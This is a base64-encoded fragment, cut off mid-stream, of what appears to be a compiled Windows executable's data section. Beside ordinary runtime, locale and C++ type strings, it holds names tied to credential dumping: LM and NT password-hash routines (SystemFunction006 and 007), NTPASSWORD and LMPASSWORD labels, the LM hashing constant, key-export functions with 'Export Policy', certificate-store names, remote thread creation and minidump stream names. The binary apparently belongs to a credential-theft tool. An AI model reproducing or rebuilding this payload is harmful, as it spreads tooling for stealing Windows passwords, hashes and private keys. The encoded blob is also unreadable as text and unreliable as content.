AGQAAAAAAAADQMwWAAQAAABoAAAAAAAAAYDMFgAEAAAAbAAAAAAAAAPAyBYABAAAAHAAAAAAAAACgMgWAAQAAAB4AAAAAAAAAWDIFgAEAAAAfAAAAAAAAAJAxBYABAAAAIAAAAAAAAAAgMQWAAQAAACEAAAAAAAAAMC8FgAEAAAB4AAAAAAAAABAvBYABAAAAeQAAAAAAAADwLgWAAQAAAHoAAAAAAAAA0C4FgAEAAAD8AAAAAAAAAMguBYABAAAA/wAAAAAAAACoLgWAAQAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAVgBpAHMAdQBhAGwAIABDACsAKwAgAFIAdQBuAHQAaQBtAGUAIABMAGkAYgByAGEAcgB5AAAAAAAKAAoAAAAAAAAAAAAuAC4ALgAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAFIAdQBuAHQAaQBtAGUAIABFAHIAcgBvAHIAIQAKAAoAUAByAG8AZwByAGEAbQA6ACAAAAAAAAAAX25leHRhZnRlcgAAX2xvZ2IAAABfeW4AX3kxAF95MABmcmV4cAAAAGZtb2QAAAAAX2h5cG90AABfY2FicwAAAGxkZXhwAAAAbW9kZgAAAABmYWJzAAAAAGZsb29yAAAAY2VpbAAAAAB0YW4AY29zAHNpbgBzcXJ0AAAAAGF0YW4yAAAAYXRhbgAAAABhY29zAAAAAGFzaW4AAAAAdGFuaAAAAABjb3NoAAAAAHNpbmgAAAAAbG9nMTAAAABsb2cAcG93AGV4cAB1bml0ZWQtc3RhdGVzAAAAdW5pdGVkLWtpbmdkb20AAHRyaW5pZGFkICYgdG9iYWdvAAAAAAAAAHNvdXRoLWtvcmVhAAAAAABzb3V0aC1hZnJpY2EAAAAAc291dGgga29yZWEAAAAAAHNvdXRoIGFmcmljYQAAAABzbG92YWsAAHB1ZXJ0by1yaWNvAAAAAABwci1jaGluYQAAAAAAAAAAcHIgY2hpbmEAAAAAbnoAAG5ldy16ZWFsYW5kAAAAAABob25nLWtvbmcAAAAAAAAAaG9sbGFuZABncmVhdCBicml0YWluAAAAZW5nbGFuZABjemVjaAAAAGNoaW5hAAAAYnJpdGFpbgBhbWVyaWNhAHVzYQB1cwAAdWsAAHN3aXNzAAAAAAAAAHN3ZWRpc2gtZmlubGFuZABzcGFuaXNoLXZlbmV6dWVsYQAAAAAAAABzcGFuaXNoLXVydWd1YXkAc3BhbmlzaC1wdWVydG8gcmljbwAAAAAAc3BhbmlzaC1wZXJ1AAAAAHNwYW5pc2gtcGFyYWd1YXkAAAAAAAAAAHNwYW5pc2gtcGFuYW1hAABzcGFuaXNoLW5pY2FyYWd1YQAAAAAAAABzcGFuaXNoLW1vZGVybgAAc3BhbmlzaC1tZXhpY2FuAHNwYW5pc2gtaG9uZHVyYXMAAAAAAAAAAHNwYW5pc2gtZ3VhdGVtYWxhAAAAAAAAAHNwYW5pc2gtZWwgc2FsdmFkb3IAAAAAAHNwYW5pc2gtZWN1YWRvcgBzcGFuaXNoLWRvbWluaWNhbiByZXB1YmxpYwAAAAAAAHNwYW5pc2gtY29zdGEgcmljYQAAAAAAAHNwYW5pc2gtY29sb21iaWEAAAAAAAAAAHNwYW5pc2gtY2hpbGUAAABzcGFuaXNoLWJvbGl2aWEAc3BhbmlzaC1hcmdlbnRpbmEAAAAAAAAAcG9ydHVndWVzZS1icmF6aWxpYW4AAAAAbm9yd2VnaWFuLW55bm9yc2sAAAAAAAAAbm9yd2VnaWFuLWJva21hbAAAAAAAAAAAbm9yd2VnaWFuAAAAAAAAAGl0YWxpYW4tc3dpc3MAAABpcmlzaC1lbmdsaXNoAAAAZ2VybWFuLXN3aXNzAAAAAGdlcm1hbi1sdXhlbWJvdXJnAAAAAAAAAGdlcm1hbi1saWNodGVuc3RlaW4AAAAAAGdlcm1hbi1hdXN0cmlhbgBmcmVuY2gtc3dpc3MAAAAAZnJlbmNoLWx1eGVtYm91cmcAAAAAAAAAZnJlbmNoLWNhbmFkaWFuAGZyZW5jaC1iZWxnaWFuAABlbmdsaXNoLXVzYQAAAAAAZW5nbGlzaC11cwAAAAAAAGVuZ2xpc2gtdWsAAAAAAABlbmdsaXNoLXRyaW5pZGFkIHkgdG9iYWdvAAAAAAAAAGVuZ2xpc2gtc291dGggYWZyaWNhAAAAAGVuZ2xpc2gtbnoAAAAAAABlbmdsaXNoLWphbWFpY2EAZW5nbGlzaC1pcmUAAAAAAGVuZ2xpc2gtY2FyaWJiZWFuAAAAAAAAAGVuZ2xpc2gtY2FuAAAAAABlbmdsaXNoLWJlbGl6ZQA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AjQAAwAgAAAAAAAAAAAAAAI4AAMAIAAAAAAAAAAAAAACPAADACAAAAAAAAAAAAAAAkAAAwAgAAAAAAAAAAAAAAJEAAMAIAAAAAAAAAAAAAACSAADACAAAAAAAAAAAAAAAkwAAwAgAAAAAAAAAAAAAALQCAMAIAAAAAAAAAAAAAAC1AgDACAAAAAAAAAAAAAAAAwAAAAkAAADAAAAADAAAAElsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAERpcmVjdG9yeSBub3QgZW1wdHkAAAAAAEZ1bmN0aW9uIG5vdCBpbXBsZW1lbnRlZAAAAAAAAAAATm8gbG9ja3MgYXZhaWxhYmxlAAAAAAAARmlsZW5hbWUgdG9vIGxvbmcAAAAAAAAAUmVzb3VyY2UgZGVhZGxvY2sgYXZvaWRlZAAAAAAAAABSZXN1bHQgdG9vIGxhcmdlAAAAAAAAAABEb21haW4gZXJyb3IAAAAAQnJva2VuIHBpcGUAAAAAAFRvbyBtYW55IGxpbmtzAABSZWFkLW9ubHkgZmlsZSBzeXN0ZW0AAABJbnZhbGlkIHNlZWsAAAAATm8gc3BhY2UgbGVmdCBvbiBkZXZpY2UARmlsZSB0b28gbGFyZ2UAAEluYXBwcm9wcmlhdGUgSS9PIGNvbnRyb2wgb3BlcmF0aW9uAAAAAABUb28gbWFueSBvcGVuIGZpbGVzAAAAAABUb28gbWFueSBvcGVuIGZpbGVzIGluIHN5c3RlbQAAAEludmFsaWQgYXJndW1lbnQAAAAAAAAAAElzIGEgZGlyZWN0b3J5AABOb3QgYSBkaXJlY3RvcnkATm8gc3VjaCBkZXZpY2UAAEltcHJvcGVyIGxpbmsAAABGaWxlIGV4aXN0cwAAAAAAUmVzb3VyY2UgZGV2aWNlAFVua25vd24gZXJyb3IAAABCYWQgYWRkcmVzcwAAAAAAUGVybWlzc2lvbiBkZW5pZWQAAAAAAAAATm90IGVub3VnaCBzcGFjZQAAAAAAAAAAUmVzb3VyY2UgdGVtcG9yYXJpbHkgdW5hdmFpbGFibGUAAAAAAAAAAE5vIGNoaWxkIHByb2Nlc3NlcwAAAAAAAEJhZCBmaWxlIGRlc2NyaXB0b3IAAAAAAEV4ZWMgZm9ybWF0IGVycm9yAAAAAAAAAEFyZyBsaXN0IHRvbyBsb25nAAAAAAAAAE5vIHN1Y2ggZGV2aWNlIG9yIGFkZHJlc3MAAAAAAAAASW5wdXQvb3V0cHV0IGVycm9yAAAAAAAASW50ZXJydXB0ZWQgZnVuY3Rpb24gY2FsbAAAAAAAAABObyBzdWNoIHByb2Nlc3MATm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQAAAAAAAABPcGVyYXRpb24gbm90IHBlcm1pdHRlZABObyBlcnJvcgAAAABlKzAwMAAAAAAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAAC0+AAAAAAAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAAAAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZAAAAAAAX19yZXN0cmljdAAAAAAAAF9fcHRyNjQAX19lYWJpAABfX2NscmNhbGwAAAAAAAAAX19mYXN0Y2FsbAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX3N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